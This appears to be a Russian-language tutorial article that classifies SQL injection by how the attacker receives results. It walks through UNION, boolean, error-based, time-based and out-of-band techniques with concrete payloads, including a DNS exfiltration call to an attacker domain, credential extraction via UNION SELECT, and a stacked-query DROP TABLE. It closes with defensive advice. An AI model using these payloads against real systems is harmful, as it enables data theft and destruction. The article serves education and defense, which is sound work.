«Недостаточно делить SQL-инъекции на простые и сложные. Ключевой критерий — какую информацию о результатах своей атаки получает злоумышленник. От этого зависит выбор инструментов и последовательность действий. Эта классификация идёт глубже учебников: она описывает не абстрактные категории, а реальные сценарии работы пентестера или аналитика ИБ, который сталкивается с ‘чёрным ящиком’.»
Три канала получения информации при SQL-инъекции
Любая атака SQL-инъекции — это диалог с базой данных через уязвимое приложение. Ответы базы данных могут приходить тремя принципиально разными путями, что и определяет основные категории атак.
| Категория | Канал ответа | Когда используется |
|---|---|---|
| In-band (Классическая) | Прямой вывод данных в интерфейсе приложения (браузер, API-ответ). | Приложение некорректно обрабатывает данные и возвращает их пользователю. Самый простой для обнаружения и эксплуатации тип. |
| Blind (Слепая) | Косвенные признаки: логическое поведение приложения (True/False) или задержка времени отклика. | Приложение не выводит данные запроса или ошибки СУБД напрямую, но его реакция зависит от результата выполнения SQL. Требует автоматизации. |
| Out-of-band (Внеполосная) | Сторонний сетевой канал: DNS, HTTP-запрос на сервер атакующего, SMTP. | Прямой вывод невозможен, а слепое извлечение нецелесообразно из-за низкой скорости. Требует от СУБД сетевых функций (LOAD_FILE, xp_dirtree и т.п.). |
Выбор категории не всегда доброволен. Если приложение не выводит данные и экранирует ошибки, in-band атака невозможна. Остаётся либо кропотливо извлекать информацию по битам через blind-техники, либо, если СУБД и сетевая конфигурация позволяют, заставить её «позвонить» наружу через out-of-band канал.
Тактические приёмы внутри каждой категории
Определив рабочий канал, атакующий применяет конкретные техники для структурированного извлечения информации. Эти приёмы — инструменты в его арсенале.
1. Использование UNION
Работает в in-band сценариях. Цель — подставить в исходный запрос оператор UNION SELECT, чтобы присоединить к легитимным данным содержимое любых других таблиц. Сложность — выяснить количество и типы столбцов в исходном запросе для совместимости. Часто для этого используется серия запросов с ORDER BY или UNION SELECT NULL, NULL….
2. Булева логика (Boolean-based)
Основа для blind-атак. Атакующий подставляет условия, которые возвращают TRUE (например, AND 1=1) или FALSE (AND 1=2). Наблюдая за различиями в ответе (наличие/отсутствие данных, изменение текста на странице), он может по битам восстановить информацию: «Если первый символ пароля администратора — ‘a’, то верни TRUE». Процесс крайне медленный, но автоматизируемый.
3. Анализ ошибок (Error-based)
Запутывает СУБД, заставляя её вернуть в сообщении об ошибке те данные, которые и нужны атакующему. Например, выполнение запроса вида 1 AND ExtractValue(0, CONCAT(0x3a, (SELECT @@version))) в MySQL может привести к ошибке, в тексте которой окажется версия базы данных. Это гибридная техника: канал in-band (ошибка видна), но цель — не прямое чтение, а провокация утечки данных через механизм обработки исключений СУБД.
4. Временные задержки (Time-based)
Другой подвид blind-атак. Если приложение никак не меняет ответ в зависимости от истинности условия, можно использовать команды задержки: SLEEP(5), pg_sleep(5), WAITFOR DELAY '00:00:05'. Логика та же: «Если первый символ пароля — ‘a’, ‘усни’ на 5 секунд». Измерение времени ответа становится детектором.
5. Внеполосное извлечение (Out-of-band)
Техника не для анализа ответа, а для его перенаправления. Если СУБД позволяет выполнять сетевые запросы, можно заставить её отправить данные на контролируемый сервер. Например, в MySQL: SELECT LOAD_FILE(CONCAT('\\', (SELECT @@version), '.your-domain.com\test')). СУБД попытается разрешить имя хоста, содержащее версию, что вызовет DNS-запрос к вашему серверу. Это логгируется.
Эти техники редко применяются изолированно. Типичный сценарий: через error-based метод узнают структуру БД, затем через UNION или слепое извлечение вытягивают данные. Если сетевой выход есть, out-of-band станет самым быстрым способом.
От теории к эксплуатации: как выглядит атака
Рассмотрим базовый сценарий in-band-атаки через параметр URL. Исходный запрос приложения, отображающий товар:
https://store.example.com/product.php?id=99
За кулисами выполняется: SELECT * FROM products WHERE id = 99
Атакующий проверяет уязвимость, добавляя условие, которое всегда ложно:
https://store.example.com/product.php?id=99 AND 1=2
Запрос: SELECT * FROM products WHERE id = 99 AND 1=2. Страница, вероятно, станет пустой. Затем проверяет условие, которое всегда истинно:
https://store.example.com/product.php?id=99 AND 1=1
Если с 1=2 товар исчез, а с 1=1 — появился, уязвимость подтверждена. Дальше можно определить количество столбцов, используемых в исходном запросе, методом подбора:
https://store.example.com/product.php?id=99 ORDER BY 1--
https://store.example.com/product.php?id=99 ORDER BY 2--
И так далее, пока запрос не вернёт ошибку (например, на ORDER BY 5). Значит, столбцов — 4.
Затем можно приступить к извлечению данных с помощью UNION. Узнав имена таблиц и столбцов (через встроенные системные представления, например, information_schema), атакующий может выполнить финальный запрос:
https://store.example.com/product.php?id=-99 UNION SELECT username, password, NULL, NULL FROM users--
В этом запросе id=-99 (несуществующий) гарантирует, что легитная часть SELECT не вернёт данных, и в результате на странице отобразятся только строки из подставленного запроса — логины и хеши паролей.
Когда опасность выше: Stacked Queries
Некоторые СУБД и коннекторы (например, в PHP с использованием mysqli_multi_query()) позволяют выполнять несколько SQL-запросов, разделённых точкой с запятой, в одном вызове. Это открывает путь не только к чтению, но и к прямой модификации данных:
https://store.example.com/product.php?id=99; DROP TABLE users; --
Или, менее заметно:
https://store.example.com/product.php?id=99; INSERT INTO audit_log(user_action) VALUES ('Уязвимость проверена через параметр id'); --
Эта возможность кардинально повышает критичность уязвимости, превращая её из канала утечки в инструмент полного контроля над базой данных.
За рамками классификации: почему это всё ещё работает
Основная причина живучести SQL-инъекций — не недостаток знаний, а архитектурное наследие. Многие внутренние и унаследованные системы построены на динамическом конкатенировании строк запроса. Даже при наличии современных фреймворков с ORM в кодовой базе могут оставаться прямые вызовы query(), написанные годы назад. Второй фактор — сложные запросы, которые трудно параметризовать (динамический ORDER BY, поиск по множеству полей), и разработчики, идя по пути наименьшего сопротивления, снова прибегают к конкатенации.
Понимание категорий и техник — не академическое упражнение. Оно необходимо для построения эффективной защиты: WAF должен детектировать не только очевидные UNION, но и слепые атаки с временными задержками. Аудит кода должен искать не только прямое внедрение, но и рискованную динамическую сборку запросов. Тестирование на проникновение обязано включать все три канала, особенно out-of-band, который часто остаётся за рамками стандартных проверок.
Итоги
- Категории SQL-инъекций (In-band, Blind, Out-of-band) определяются каналом обратной связи от СУБД к атакующему, что диктует выбор методов эксплуатации.
- Основные техники (UNION, Boolean-based, Error-based, Time-based, Out-of-band) — это инструменты для извлечения данных внутри выбранного канала, и они часто комбинируются.
- Проверка на SQL-инъекцию начинается с простых зондов (логические условия, временные задержки) для определения типа уязвимости.
- Возможность выполнять Stacked Queries (несколько команд подряд) резко повышает критичность уязвимости, позволяя изменять данные и схему БД.
- Защита должна быть многослойной: параметризованные запросы на уровне кода, корректная обработка ошибок, конфигурация СУБД (запрет ненужных сетевых функций), WAF, настроенный на детектирование слепых и внеполосных атак.